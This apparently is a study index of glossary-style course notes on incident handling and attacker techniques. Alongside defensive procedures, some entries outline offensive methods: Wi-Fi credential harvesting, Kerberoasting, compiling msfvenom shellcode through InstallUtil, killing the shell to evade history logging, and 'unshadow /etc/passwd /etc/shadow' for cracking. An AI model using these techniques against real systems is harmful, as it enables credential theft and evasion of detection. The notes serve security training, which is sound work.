Home key	1	170	move to start of line
Honeynet	1	23	website for information on "watch and learn" experiences
Honeynet website	5	157	site for whitepapers and challenges. Http://www.honeynet.org
host	2	33	a useful tool for DNS recon
host perimeter detection example	1	50	windows firewall on a host alerting • screenshot on page
Hostapd-WPE	2	81	Hostapd-WPE inpersonates WPA2 Enterprise networks to harvest user credentials • dumbs down EAP to collect plaintext passwords • logs all authentication attemps for later cracking such as MS-CHAPv2 authentication • software based AP • Can also be used against mobile devices • users will recv a login prompt to connect and a certificate • examples on page
how programs run	3	65	CPU fetches and executes instructions, sequentially one by one • instruction pointer is incremented • jump, instruction pointer is altered to begin fetching instruction in different location. • detailed walk through on the page
HTA Drive-By	3	34	• MitMf attack that can insert malicious .hta files into the stream
HTML5 Canvas	3	35	• MitMf also has a tool called ScreenShotter to take a screenshot of the browser.
HTTP activity	1	152	intranet and internet sites visited pertinent to suspect duties, web-based email in-use?
HTTP Floods	4	135	Complete three-way handshake and get HTTP GET for common page such as index.html much harder to differentiate from normal traffic, uses a bot net to generate a huge amount of normal-looking traffic Count open and half open connections to tell if it is an http flood.
HTTPOnly Flag	4	108	sets a response headers to mark cookies as HTTPOnly preventing them from being sent in things like JavaScript
Human Interface Device (HID)	3	5	Devices such as Ruber Duckies takes input from humans and gives output to humans
Hunt Teaming	3	96	• Is an activity where we utilize a number of techniques we use to bypass traditional security technologies as part of our penetration tests to hunt down other attackers who may have used similar techniques.• Check for long URLs, for DNS entries which are on known blacklists, beacon connections, odd services and exe
Hybrid Attacks	4	10	Start with dictionary; Concatenates items (numbers, letters) to the dictionary words in a dictionary attack (e.g.: password12). Sometimes referred to as "Word Mangling". ADVANCED: Shave character off the dictionary term; leet speak subtituitons in dictionary A>4, E>3

Hydan	5	111	Hides data in executables written for i386; • Start with an executable program and the message you want to hide, such as a secret message, a picture, some other code, etc; • Feed both into Hydan with a passphrase• The message is encrypted with blowfish with your passphrase as a key; and embeds it into the executable program; • The executable is the exact same size as the original and has the same functionality as the original; • The message can be recovered using Hydan and the passphrase
Hydan Efficiency Rate and Detection	5	114	Can hide 1 byte of data in about 150 bytes of code; Alters the statistical distribution of instructions in a programTool by Chris Wright for detecting "hydanized" executables looking for anomolous statistical distro of machine language
Hydan hiding information	5	112	Hydan hides information by:• encrypting the message using blowfish• uses a polymorphic coding technique to hide data• functionallly equivalent functions are used (add +Y or Subtract -Y)• choosing an instruction from one group you get a "zero" bit• choosing an instruction from another group you get a "one" bit• encode all bits• re-write polymorphic executable • x + y is the same as x - -y number minus neg number = add both
Hydan in Action	5	113	Hydan dynamically rebuilds the executable; making substitution of adds and subtracts to hide the necessary bits. The resulting executables size is exactly the same because ADD and SUB are the same size - DIAGRAM
Hydra - Password Guessing	4	8	•Unix/Linux •Password guessing •Dictionary-based (not full brute) tries every possible password character combo •Supports Variety of protocols (see slide for list), including RDP (remote desktop protocol) by van Hauser
I love my neighbors	2	79	Linux VM to impersonate open Aps • written to manipulate brower activity for "guests" • flips images upside down, makes things blurry, random redirects users • replaceExes feature rewrites any executable file downloaded over HTTP with an arbitratry exe of attackers choosing like a system backdoor •./neighbor.sh wlan0 etho0 asciiImages.pl
IAX Inter-Astrix Exchange	2	61	realies on VoIP service provider that supports Inter-Asterisk eXchange
ICMP Tunnels	5	94	Numerous tools carry data inside the payloads of ICMP packets--ptunnel (TCP over ICMP Echo and Reply), Loki (Linux Shell), ICMP Shell (Linux), PingChat (Windows chat program), ICMPCmd (Win cmd.exe access)
ICMP types			Echo reply - 0 Redirect - 5 Echo Request - 8 Time exceeded -11 Time Stamp - 13 Information Request - 15 address mask requests - 17 Address mask reply - 18 Tracerout - 30
ICMPCmd	5	94	Windows shell tool that uses ICMP
ICMPShell	5	94	Linux shell tool
Idenification - Initial ID Assessment	1	80	determine if event is actually an incident (check for mistakes by users/admins/others * assess evidence * other possibilities?) maintain situational awareness • efficient handling of errors is part of process
Identification - analyzing network/host detects	1	52	look up the service (IANA or google) • does destination host run service • is it a backdoor
Identification - Application Level detection	1	54	Application logs (web apps, app server for thick-client apps, cloud-based services) • Dates, Timestamps, Users/Admins, Actions and trasactions including user input
Identification - Assessment Questions	1	81, 83	questions to determine how much damage could be caused on the page
Identification - Assign Handlers	1	44	Primary and Helper • idealy both per incident
Identification - Chain of Custody	1	84	provable chain of custody • don't delete files until case is closed out (save if you can) • ID evidence in notebook • control access to evidence • evidence must be under control of 1 person at all times • when turn over evidence to Law Enforcement HAVE THEM SIGN FOR IT • include description and "value"
Identification - Commo Channels	1	46	don't use compromised computers • use out-of-band comms (telepthones/faxes, avoid VOIP if not encrypted) encrypt email (use GnuPG, PGP, S/MIME at minimum) • encrypted cloud storage (tresorit or SecureSafe)
Identification - Flow of information	1	45	details of the incident to minimum number of people possible • enforce need to know • discretion matters • they may be required to testify
Identification - General Approach	1	61	There is no best place to start. A starting point is determined situationally
identification - host perimeter example	1	50	windows firewall on a host alerting
identification - host perimeter netstat	1	51	example of netstat command to check processes listening on host system
Identification - network detection example	1	49	use tcpdump to scan for ports, example shows Mongo DB ports
Identification - Overview	1	43	Willing to alert early • don't be afraid to declare an incident • Situational Awareness, provide inidcations/warning and up-to-date info • correlate information

identification across all levels	1	56	ideally you want to detect attacks at your Network perimeter •Network Perimeter• Host perimeter • System-Level (host) • Appicatioin-level • detection helps prevent incidents from becoming bigger than they should and negative impacts to the organization
Identification at all levels	1	48	Network perimeter detection • Host perimeter • System-Level (host) detection • Appicatioin-level
Identify IP address	1	152	if dynamic set to static to easily monitor system activities
Idle scans	2	103	can be used to divert attention, obscureing attacker's network location
IDS use	1	152	Monitor traffic flow to/from the IP to ID inbound and outbound traffic
IDS/IPS Evasion - Defense	2	119	• Preparation • Keep your IDS and IPS up-to-date • Supply IDS and IPS will recommended resources (network performance, processor, RAM, and hard drive) • For sensitive systems, use host-based IDS in addition to network-based IDS and IPS • Implement User Behavioral Analytics • Utilize Host Based IDS/IPS • Identification • IDS signatures indicate heavy fragmentation or overlapping fragments • IPS can block overlapped fragments
ILMN	2	79	I love my neighbors Wi-Fi rouge AP •./neighbor.sh wlan0 etho0 asciiImages.pl
Immunity Debugger	5	20	Used to combat unpackers. Supports python scripts and has a GUI and a CLI. It is a debugger to help reverse engineer malware and exploit development
Improve Defenses	1	107	firewall/router filters • move system to new name/IP • null routing • change DNS • patch/harden system
Inappropriate web access	1	145	Do NOT use skills to access things without a written policy and request in writing from the correct requestor • have inappropriate web access requests go through HR
Inappropriate websites	1	146	not incident handler's responsibility • IH should ensure there is a policy in place to forbid it •
Inception	3	4	• Unlocking a powered on and locked computer via DMA firewire/Thunderbolt connections • Great for gaining access to systems with hard drive encryption
Incident - Definition	1	12	actions that result in harm or the significant threat of harm to your computer systems or data or intent to do harm
Incident - key points	1	12	1. limit the damage 2. Right to redress
Incident - right to redress	1	12	criminal and civil law remedies associated with computer incidents • proceed in way that doesn't preclude use of evidence gathered in court setting
Incident - what to look for	1	12	Detect deviations from the normal state of the network and systems
incident Category	1	89	type of attack DoS, Compromised Information, Compromised Asset, Internal/External Hacking, Malware…
Incident Handeling - Blame	1		Incident handelers should avoid placing blame on anyone during the intial phases. The handeler needs cooperation at early stages.
Incident Handeling - inexperienced incident handelers	1	93	Rookie incident handelers can be spotted a mile away with a network logging system. They find an attack apparently coming from some IP address. So, they ping the address, then they do an nslookup and traceroute. Sometimes, they even telnet to it. This most likely will tip off the attackers.
Incident Handeling - Notes	1		Always take notes especially during the intial phases of the incident response.
Incident Handling - **6 Primary Phases**	1	15	Preparation • Identifiation • Containment • Eradication • Recovery • Lessons Learned; see also p18
Incident Handling - Defined	1	11	An action plan for dealing with the misuse of computer systems and networks such as: Intrusions • Malicious Code Infection • Cyber Theft • Denial of Service • Other Security-related Events • Keep written procedures and polcies in place so you know what to do
Incident Handling - Forms for the 6 Phases	1	15	Incident Contact List • Identification Checklist • Survey • Containment Checklist • Eradication Checklist • Communications Log
Incident Handling - Intellectual Properties	1	11	Intellectual Properties is becoming more important as we move into the information age. Intellectual Properties - Brands, proprietary information, trade secrets, patents, copyrights, and trademarks.
Incident Handling - Key point	1	11	Must act on the info to secure systems in timely manner • Keep proceedures/policies in place to know what to do when an incident occurs
Incident Handling - Plan	1	11	Should include hooks to disaster recovery and business continuity plans that deal with: Fire, Floods, and other Disasterous Events
Incident Handling - Scope	1	11	Intrusions • Insider Crime • Intentional and Unintentional events that cause loss of availibility • Intellectual property such as: brands, proprietary info, trade secrets, patents, copyrights, trade marks
Incident Handling NIST Computer Security Incident Handling Guide	1	15	webpage and discrition • additional source of content for these books 4 steps: • Preparation • Detection and Analysis • Containment/Eradication/Recovery • Post Incident Activity
incident handling step-by-step	1	28	a book of forms provided by SANS to be used in incident handling

Incident or event	1	14	The example given is Intrusion detection system and the we server are completely separate systems and they show the same event. If this went to court, having both logs of the event will make a stronger case of evidence. Multiple sources of the same event is desired in a court case.
indexable directories	2	49	intitle: index.of "parent directory"
info - directive	2	45	• "info -" directive- Finds cached page, related pages, pages that link to it, pages that contain the term
Inform MGMT	1	90	ID senior management as sponsor (CISO, CIO, Legal…) • notify sponosr when declar an incident • minimum of 2 people or each incident (Primary and Helper, both take own notes)
Information Collecting Techniques	1	135	Open Source searches by adversaries to see what information is publicly available--Posing as a customer or potential customer to gain sensitive data ---Hiring critical employees as insiders, in effect working on behalf of your adversaries from the inside of your organization
Ingress and Egress data logs	1	120	Web Proxy • DNS Cache • Connection Logs
Initial Analysis	1	93	low profile (avoid ping, traceroute, nslookup) • don't tip off attacker • maintain standard proceedures
Initial Identification Assesssment	1	80	determine if event is actually an incident (check for mistakes by users/admins/others * assess evidence * other possibilities?) maintain situational awareness • efficient handling of errors is part of process
Initial Security Incident Questionnaire for Responders	1	83	Lenny Zeltser of SANS wrote a cheatsheet to help assess incidents
Inject DLL into Running Application (Metasploit Payload)	3	83	This payload injects an arbitrary DLL into the vulnerable process, and creates a thread to run inside that DLL.
in-line IPS	1	101	in-line IPS/in-line Snort can be used to block some attacker activity if long-term containment is required
Insider Threat	1	149	threat from an entity with access to your data • employee including contract and temp • business parnter with access • attacker have valid credentials and knowledge of environment / business practices --**A well intentioned employee-- The disgruntled employee ---The unnoticed employee (aka the secret thief)**
Insider Threat - Assessment	1	152	Checklist for Equipment ID • OS ID • IP address ID • HTTP Activity • IDS use • Monitor email • monito phone calls • confirm background check data • Monitor work habits • After-hours visit • review data • summarize findngs • work with HR before incidet to establish roles, responsibilities, HR triggers
Insider Threat - Identification	1	151	monitor system activities, message boards for financial or merger info, intel on employees activites, general searches • log all monitoring activity for accountability and protection and legal action • **But targeting a particular employee should only be done with written HR approval**
Insider Threat - warning banners	1	150	employees should be aware of the 5 points and monitoring policy including VPN, SSH, TP, Dial-up, all intornal sign-on locations both single user and shared.
Insmod	5	50	ismod inserts loaded kernel mods (drivers) lsmod list loaded kernel mods (drivers)
inSSIDer	2	69	uses active and passive scanning with standard Wi-FI card on Windows Sends out a contant stream of probe requests w/o an SSID• Identifies SSID, security settings, signal strength, channel info • Integrates with GPS for mapping • v2.0 replaced by Metageek(inSSIDer Plus) and inSSIDer Lite •• screenshots p 68 WB
InstallUtil.exe logfile=/LogToConsole=false /U exeshell.exe	3	117	Malicious Shellcode.Exec function triggered when .exe is "uninstalled"
InstallUtil-ShellCode.cs	3	117	By pulling down InstallUtil-ShellCode.cs and inserting msvenom (-f csharp) into it--Compile with the csc.exe tool--Effective because it does not need a full Visual Studio Environment--We can compile these .exe files with the csc.exe utility, which is great for lightweight compilation on Windows systsms
Instruction Pointer, Buffer overflows	3	65	register that tells the CPU where to grab the next instruction for the running program. Refers to a location in memory
Integer-based overflow	3	63	• Same core issues for non-validated inputs for heap and integer based overflows as in buffer overflows
Internet Assigned Numbers Authority (IANA)	1	52	official port list
Internet of Things (IOT) Attacks	2	12	5.7B devices by 2025 • competition between vendors and short time-to-market produce poor security features • little capability to manage devices on a large scale
Internet Storm Center	1	16	a place that Incident Handlers can share information on incidents, scans, vulnerabilities
Internet Storm Center	5	156	-A wonderful source of interesting security vulnerability and defense information
Interrogating Targets via SMB sessions	2	136	after establishing an SMB session, using "netuse", use "net view" and "enum" commands to gain more information. • example on page

Interrogating Targets via SMB Sessions (SMB Enumeration)	2	136	enum -S [TargetIPaddr] pulls a list of shares (IPC$, ADMIN$, and CS$) enum -U pulls list of users enum -G pulls groups and membership enum -P pulls password policy information Enum uses a NULL SMB session Use -u [User Name] -p [Password] for authenticated session in Enum • example on page
intitle - directive	2	45	• "intitle -" directive - shows pages whose title matches the search criteria
intitle: index.of "parent directory"	2	49	indexable directories
intruders	2	5	attackers or crackers
inurl:"ViewFrame?Mode="	2	49	web engine search that displays *web accessable devices* , some of which can be controlled
Invalid TCP Checksum Bypass	2	117	Many IDS/IPS systems do not validate the TCP breakdown. An attacker can insert a TCP reset with an invalid checksum to clear the IDS/IPS buffer. Target systems will drop any packet with an invalid TCP checksum, per checksum RFC's. • example on page
IP Header Info	2	91	Example on page Ipv4 TTL = IPv6 Hop Limit • source and destination IP address as well as TTL field for IPv4 and Hop Limit for IPv6 are used in Nmap for network mapping • diagram for IP Header
IP ID values - nmap	2	105	measures changes in IP ID values • OS have different sets of IP ID numbers for TCP vs ICMP • Windows has the same for both TCP and ICMP values
IP identification Mode	5	99	see cover_TCP: IP ID Mode or book for more info
IP to MAC Mapping via ARP	3	29	• when you send data across a LAN, it must be directed to the hardware address(the MAC address of the ethernet card, a 48 bit globally unique address hard coded into the card)• your machine must determine the MAC address corresponding to a given IP address• Address Resolution Protocol (ARP) supports mapping IP addresses to MAC addresses• ARP request - what is the MAC address for 10.10.20.1• the appropriate machine sends an ARP response back telling it's MAC address AA:BB:CC:DD:EE:FF• systems cache this information in a data structure call the ARP cache, typically for up to 10 minutes• functionality is built in but not security as there is no way to verify that an ARP response came from the proper machine• ARP messages are only sent across a single LAN, they aren't routed between LANs
IPC$	2	132	windows share, does not need to be an admin
ipconfig /displaydns	3	58	show dns setting in windows
IPv6 scanning	2	103	invoke using the "-6" syntax, most Nmap scans support the -6 option -used to be just for ping sweeps (-sP), TCP connect scans (-sT), and version scans (-sV)
IRC Channels	4	66	Attackers commonly communicate with bots using IRC channels. The standard IRC channel is TCP 6667. This could be because it allows a single machine to communicate with several other machines.
ISP Coordination	1	96	may assist in identification, containment, and recovery • helps the community • may need to work with someone else ISP to get infected system taken offline
itf.c	5	41	First kernel-mode rootkit for Linux
Jackit	2	83	works with the Crazyradio PA to identify and inject keystrokes using Ducky Script convention example on page •sudo jackit --script commands.txt
Jikto	4	102	Jikto: performs a Nikto scan of internal websites using XSS
Jikto Cross site scripting scan	4	102	Written by Billy Hoffman, is a series of browser scripts; Performs Nikto scan of internal websites using XSS functionality. Determines if vulnerable server is hosted (PHP, CGI, ASP, and Cold Fusion scripts).
John the Ripper	4	31	• written by Solar Designer• very powerful and fast• runs on Unix, Linux, and Windows of all kinds• cross platform support allows attackers to use the same cracking tool on multiple victim machines, dividing the work among systems- • You must feed John an encrypted password file • on a **Unix system** without shadowed passwords, just feed it /etc/passwd• with shadowed passwords, you need root-level access and must merge /etc/passwd and /etc/shadow using **#unshadow /etc/passwd /etc/shadow > combined**• for **Windows passwords,** just give John the text based output from pwdump3 or fgdump• cracking could take from minutes to years, depending on the complexithy of the passwords being cracked
John the Ripper - Cracking Modes	4	32	Single Crack Mode:--Uses variations of account name, GECOS, and more Wordlist Mode: --Uses dictionary and hybrid Incremental Mode:--Use brute force guessing External Mode:--Uses an external program to generate guesses
John the Ripper - External Mode	4	32	optional mode |John doesn't formulate its own guesses, but instead relies on some separate program to provide guesses | provides John with an added degree of modularity
John the Ripper - Incremental Mode	4	32	tries all possible character combinations to determine the password in a brute force attack

John the Ripper - Single Crack Mode	4	32	uses variations of account name and GECOS field information and then applies various hybrid alterations of those fields to create its guesses
John the Ripper - Wordlist Mode	4	32	relies on a dictionary as the source of guesses and then applies hybrid techniques to alter the dictionary terms and use them as guesses
John the Ripper Input and Output	4	33	John supports (and autodetects) the following formats - Standard and double-length DES - BSDI's Extended DES - FreeBSD's MD5 - OpenBSD's Blowfish - Windows LANMAN(default) John *JUMBO* Separate downloadable patches for cracking NT hashes and NTLMv1 challenge/response• Cracked password printed to the screen and stored in the file john.pot - Remember to remove this file when you are done with a password audit • hash formats must specify *--format=NT* or *--format=LANAN*
John the Ripper screen shot output	4	34	screen shot of unshadow passwd shadw > combined when ran through John the Ripper
John's the Ripper Cracking Modes	4	32	Single Crack Mode:--Uses variations of account name, GECOS, and more Wordlist Mode: --Uses dictionary and hybrid Incremental Mode:--Use brute force guessingExternal Mode:--Uses an external program to generate guesses
JPCert	5	84	Logs events triggers when certain attack tools and techniques are sued
JSkeylogger (MitMF)	3	35	• Module which allows us to grab keystrokes by injecting code into viewed webpages
Jsteg	5	109	Hides in jpeg images using the DCT coefficients
Kansa	1	129	**Powershell** tool that compares systems against eachother listing processes, network conns, and configs • also called long tail analysis and Positive Skew Analysis
Kansa - Example for ASEPs	1	132	supports ability to pull total cound for specific things like Autostart Exensibility Points • example on page
Kansa - Running	1	131	output example on page
Kansa - Setup	1	130	Powershell 3.0 on domain • Handle.exe and autorunssc.exe from sysinternals • logparser • Remote Management enabled • add all hosts to be checked in text file • provides a baseline before incident
Kansa - switches	1	131	**-Targetlist** switch hits all systems you want to run from a .txt **-Analysis** triggers stacking and analysis components
Kansa - what to look for	1	133	things that are different • examples on page
Karmetasploit			Can act as a passive or active scanner, act as a DHCP server
Keeping access(step 4) attack process	2	4	an attacker does this by manipulating the software installed on the system to achieve backdoor access
Kerberoasting	4	56	request service tickets and use crack via Hashcat • MimiKatz and Impacket have tools to extract hashes from the tickets. GetUserSPNs.py from Impacket can grab the tickets
Kernel	5	42	• controls interactions between user programs and hardware. Allocates system resources. User programs make calls into the system call table, which points to the kernel code for implementing the system call. • Ring 3 (user mode) and Ring 0 (kernal mode)
Kernel mode rootkit - Kernel altering methods	5	44	1) Loadable kernel modules (Unix) and device drivers (Windows) 2) Altering Kernel in memory 3) Changing kernel file on hard drive 4) Virtualizing the system
Kernel mode rootkit- Altering kernel in memory	5	46	The attacker writes a user-mode program that hogs memory, forcing the kernel to page some of its functionality to the system page file. Then, with system privileges in user mode, attacker changes the page file elements that contain kernel code.
Kernel mode rootkit- Changing kernel on Hard Drive	5	47	Instead of altering live kernel in memory, attackers could overwrite kernel file on the hard drive. This would be the vmlinuz folder on linx and the ntoskrnl.exe and win32k.sys files in Windows.
Kernel mode rootkit- Defense File Integrity Checking	5	57	Looks for changes to critical system files. Although a well-designed kernel-mode rootkit can trick the file integrity checker using execution redirection, it makes the attackers job that much harder.
Kernel Mode Rootkit- Defense- Network Intelligence/Forensics	5	58	Malware propogation has definite patterns that can be observed on the network. Network-level intelligence and forensics can help detect behavioral anomalies early and throttle with an IPS like Netwitness, Fireeye, Sourcefire, Tippingpoint, Forescout, etc. • Security Onion best option •
Kernel Mode rootkit- Defenses	5	54	Attacks require root or administrator-level access. Harden the box by hand, use a good security template. Linux/Unit on pg 55, Windows on pg 56, file integrity checking on pg 57, Network Intelligence/forensics pg 58

Kernel Mode Rootkit Techniques	5	43	-Hide processes- so backdoors don't show up in a process list- -Hide files- so attacker's malicious software doesn't show up in the file system hide network use -Hides promiscuous mode to disguise sniffers and masks TCP/UPD ports -execution redirection- when a user runs a program, the kernel will substitute an evil program in its place.
Kernel mode rootkit- Virtualizing the system	5	48	Attacker can put legitimate-looking system in a virtual machine, where the victim users are locked in a jail, but they don't know it. This hasn't been seen in the wild.
Kernel Mode Rootkits- Contain, Erad, Recover	5	59	Containment- analyze other systems' changes made by discovered rootkits Eradication- wipe drive and reinstall operating system, applications, and data from original media; apply patches; change root/admin passwords Recovery- Monitor systems carefully.
Kernel-mode Rootkits	5	41	Hard to detect • transform the evironment • Techniques • Altering the Kernal • Types of Kernal-mode Rootkit Techniques • User-Mode Rootkit (ring 3) app level • Kernel-Mode Rootkit (ring 0) kernel level
kill -9 [PID]	5	68	command to kill the shell so it cannot write most recent shell history to include command to edit it
kill -9 bash	5	68	command to kill the shell so it cannot write most recent shell history to include command to edit it
kill pid	2	113	linux command to stop a process/service
killall	5	68	command to kill the shell so it cannot write most recent shell history to include command to edit it •• screenshot p44 WB
killall process_name	2	113	command to kill a process by name
Kismet	2	71	**Passively** captures WiFi activity in "monitor mode" (AKA permiscous mode) preventing discover • provides detailed info about networks and clients as they are seen • designed for Linux • graphical web-based interface • **Supports rich data capture (full pcap)** • */usr/local/etc/kismet_logging.conf* (scroll to log_types and add pcapng to then of line log_types=kismet,pcapng then restart)• compatible with wireshark and XML. ****Kismet also on page 72****
Klocwork Insight Pro	3	95	commercial Code Checking Tool for C, C++, C#, Java
Kon-boot	3	4	USB boot attack where any password is accepted as a correct password. Bypass authentication controls by hijacking password libraries at startup to accept any password entered This works on Mac and Windows. •defense: disable boot devices on startup
LADS	5	77	tool dedicated to finding alternate data streams in NTFS ••lab p265WB
LADS (Win)	5	77	tool dedicated to finding alternate data streams in NTFS; "/S" includes subdirectories ••lab p265WB
LANMAN Authentication Disabling	4	46	Stop storing LANMAN hashes in reg key:- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa---On the Edit menu, click Add Key, type NoLMHash, and click ok Stop sending LANMAN Challenge/Response across the network: LMCompatibilityLevel registry parameter -Level 3- Send NTLMv2 authentication only- good for clients -Level 5-Domain Controllers accepts only NTLMv2
LANMAN Hashes	4	14	by default LANMAN and NT hashes stored on win NT/2000/XP/2003* We even still see them used in more modern AD enviroments for reverse compatibility LANMAN: •Win2k, XP, 2003 **•Very weak •Passwords 14 Characters or less•Convert to all Uppercase •Splits the 14 Character into two 7 character strings •each 7-byte string as a DES Key**•15 Characters or more (no LANMAN hash) on WinNT SP4+, 2000,XP, 2003 ONLY NT hash • example on page
Lanturtle + Responder	3	4	• USB attack where a malicious USB Ethernet adapter causes a system to generate DNS s and Responder can capture hashes by simply having access to a USB port while the system is running. • Prevent attack with disable LLMNR
lastlog	5	70	log file: shows login name, port, and last login time for each user /var/log/lastlog
Law Enforcement - FAQ	1	25	FAQ produced by SANS on interfacing with law enforcement
Law Enforcement - Interaction	1	25	2 investigations (yours and theirs) • they don't usually tell media without victim conscent • may ask to watch attachers for evidence gathering • may ask for equipment • require access to peronnel w/ tech details
Law Enforcement - Notification	1	24	Requirement to report varies by jurisdiction • Threat to public health/safety • impact to 3rd party • legal requirement based on industry (FDIC, OCC, HIPPA) • Breach Notification Laws • Other reasons
Leak seeding - Espionage Identification	1	137	media leaks
Least Significant Bit	5	115	Used for stego hiding techniques
Legal department	1	155	Always involve the legal department into any incident or interations with law enforcement
lessons learned - apply fixes	1	117	go to MGMT for fixing the problem that caused the inicdent (fix processes, technology, improve incident handling capabilities) • conduct root cause analysis of the incident to be fixed

Lessons Learned - definition	1	115	The primary goal of lessons learned phase is to document what happened and improve our capabilites
Lessons learned - meeting	1	116	meet within 2 weeks of resuming production • review report • finalize executive summary, get a consensus • keep short
Lessons Learned - Report	1	115	document what happened to improve capabilities • develop follow-up report • all parties should review draft The only person that should write the report is the on-site incident handler
LIFO	3	67	last in first out; how stacks work, overflow the stack and push things from the top of the stack
link - directive	2	45	• "link -" directive- Shows all sites linked to a given site- During recon this directive can be used to find business partners, suppliers, and customers; linked to a specfic web site
Link-Local Multicast Name Resolution, LLMNR	3	31	• Link-Local Multicast Name Resolution Failing DNS systems will query local systems for a name using this
Linux - log files - editing tools	5	71	remove.c, wtmped.c, marry.c, cloak.c, logwedit.c, wzap.c • available from Packet Storm site • attackers need a special tool to edit logs due to the file format they are wrote in
Linux command: &	1	191	using & after a program command runs the program in background and returns the prompt
Linux command: adduser	1	172	will create user home directory, and set password info
Linux command: apropos	1	205	search for topics and the commands related to those topics
Linux command: bg	1	190	allows paused program to continue running in background
Linux command: cat	1	183	see contents of a file cat /etc/passwd
Linux command: change directories	1	177	cd /tmp • cd .. • cd ~
Linux command: configure	1	199	checks environment and creates set of options to get tool compiled on a device
Linux command: CTRL+C	1	190	kills a running program
Linux command: CTRL+Z	1	190	pauses a program and return the prompt
Linux command: echo $PATH	1	186	list of directories where system searches for programs based on what we type at the command line
Linux command: exit	1	174	exits current SU
Linux command: fg	1	191	brings job running in background into the foreground
Linux command: find	1	181	finds a specific file • find / -name whoami
Linux command: gcc	1	200	GNU C Compiler is used to make and configure a program
Linux command: gedit	1	182	text editor similar to notepad
Linux command: grep	1	202	search command in linux • -i ignored case • -r is recursive • can be | to search a command output
Linux command: head	1	183	see portion of a file, head shows top 10 lines • can -n 2 to show 2 lines
Linux command: id	1	174	details about current user and privileges
Linux command: ifconfig	1	194	shows network interfaces
Linux command: ip a	1	194	shows the adresses for network interfaces
Linux command: jobs	1	191	lists programs running in background
Linux command: less	1	184	view files larger than 1 screen • q to exit • can use | less as in ls /dev | less to scroll output
Linux command: locate	1	181	shows all file names that contain a string
Linux command: ls	1	178	lists contents of a directory
Linux command: ls -al	1	178	switches -l displays longformat with details, -a shows all files including the . And ..
Linux command: make	1	199	compiles and builds a tool
Linux command: make install	1	199	program is loaded into the appropriate place
Linux command: man	1	204	brings up the manual for a command
Linux command: man -k	1	205	lookup something by keyword
Linux command: mkdir	1	180	makes a directory
Linux command: netstat	1	196	shows info on network usage
Linux command: netstat -nap	1	196	shows info on network usage and whats using various TCP and UDP ports
Linux command: passwd	1	173	change passwords from # passwd fred to chanage freds password from $ passwd
Linux command: ps aux	1	189	info on all running processes • use | less to navigate pages better • p47 WB
Linux command: pwd	1	177	shows present working directory
Linux command: reboot	1	206	reboot the machine
Linux command: service networking restart	1	193	restarts the network interfaces • used after config changes
Linux command: shutdown	1	206	switch -h mean hald shutdown • can be given +10min for a timer • -r mean reboot
Linux command: su *username*	1	174	switch to the user account
Linux command: sudo su -	1	174	get to a root prompt
Linux command: tail	1	183	see portion of a file, tail shows bottom 10 lines • can -n 2 to show 2 lines
Linux command: tar	1	198	how to extract tar viles x means extract, v means verbose, f means read from file, z means unzip before extracting
Linux command: updatedb	1	181	updates the database
Linux command: whatis	1	205	gets hints from system about what commands do
Linux command: which ls	1	186	path of where ls really is
Linux command: whoami	1	174	shows account currently on

Linux- Editing Log Files	5	66	Main log files can be found by viewing /etc/syslog.conf. Attacker might check this location to find others. Other important log locations are: /var/log/secure, /var/log/messages, /var/log/httpd/error_log, /var/log/httpd/access_log (last two are httpd specific). These are often edited by hand or script.
Linux file editors	1	182	vi, gnu-emacs, pico, mcedit, gedit
Linux file ststem structure	1	176	shows all the file systems in linux
Linux- Hiding Files	5	63	Easiest way to hide files is to name then something like "." or ".." or ".. " with a space at the end. On a unix system, each directory contains at least two other directories. One called "." and another called "..". Attackers will disguise files and directories based on this convention to be tricky.
Linux- Hiding Files Directories	5	64	Files are often hidden by being put in places that they won't be noticed. Popular locations: /dev, /tmp, /etc and other complex components of the file system: /usr/local/man, /usr/src, many more.
Linux- Log Files	5	70	Four main files: utmp, wtmp, and btmp are not stored in ASCII. Lastlog stored in different manner based on system. Need specialized tools to edit. utmp- currently logged in users in /var/run/utmp ---wtmp- past logged in users in /var/log/wtmp ---btmp- failed login attemps (not enabled by default) ---lastlog- file shows login name, port, and last login time for each user.
linux netowrk configuration	1	191	located in /etc/network/interfaces • can be edited with gedit
linux password hashing rounds	4	27	linux MD5 hashing ($1) uses 1,000 rounds • SHA-256($5) and SHA-512($6) hashing uses 5,000 rounds • makes password cracking slower for attacker • attackers use GPU in video cards to help
Linux- Shell History	5	67	Attackers delete or edit their shell history. Bash saves 500 most recent entries, but others may save 1000 or more. Written in ASCII and can be edited by hand without the permission of the user or root. Attackers remove suspicious commands. Shell history is written when the shell is exited.
Linux SUID program			When a user runs a SUID program on Linux system, program runs with owner permission, not the user running the program. Example: "passwd" which any user can use to change permissions but can not run directly on the /etc/passwd and /etc/shadow to make changes.
linux view file commands	1	183	cat, head, tail
Linux/Unix password comoplecity enforcement (PAM)	4	48	• PAM used in linux, various BSD platforms, Solaris, and HU-UX to extend the authentication functionality of the system• can be used to link a machine's authentication into a RADIUS server, Kerberos, or biometrics authentication• can be used to enforce password complexity • passwdqc custom module with commandline tools • pwqcheck - test password for complexity • pwqgen - generates random password that matches complexity requirements
Linux/Unix Passwords	4	24	• Early unix/linux stored passwords DES encryption (no salt) both username and passwd in /etc/passwd • Later MD5 password hashes were used followed by blowfish, SHA-256, SHA-512 (allusing salt values 4 then 8-byte), usernames and other info sotred /etc/passwd (world readable); password hashes /etc/shadow
listening ports on linux/unix	2	112	as a power user "sudo" use: sudo netstat -nap | grep "LISTEN" • sudo lsof -I | grep nc • sudo lsof -p 5156 • example screenshot on page
living off the land LoL	3	22	attacker uses tools available without introducing new tools to the systems
Living Off the Land LOL	3	114	Idealogy is that instead of adding third-party exectuables attacker reuses existing tools to accomplish their goals.
LLMNR	3	7	Will disable LAN Turtle+Responder attacks
LLMNR,Link-Local Multicast Name Resolution	3	31	• Link-Local Multicast Name Resolution Failing DNS systems will query local systems for a name using this
Loadable Kernel Module	5	45	Has legitimate purpose to add support for new hardware or to insert code into the kernel to support new features. Does not require a system reboot.
Local Administrator Password solution - LAPS	4	57	manages unique and comoplex local Administrator passwords on workstations to prevent one Admin password hash from being used against multiple workstations • helps block pass-the-hash
Local Security Authority Subsystem Service	4	52	Also: LSASS ---authentication process, important for pass-the-hash attacks
LocalAccountTokenFilterPolicy	4	55	A registry key for pass-the-hash: when set to 0 disables pass-the-hash for all users except Administrator(RID 500), set to 1 restores full capabilities • recommend setting 0 and disable the Administrator (RID 500) account

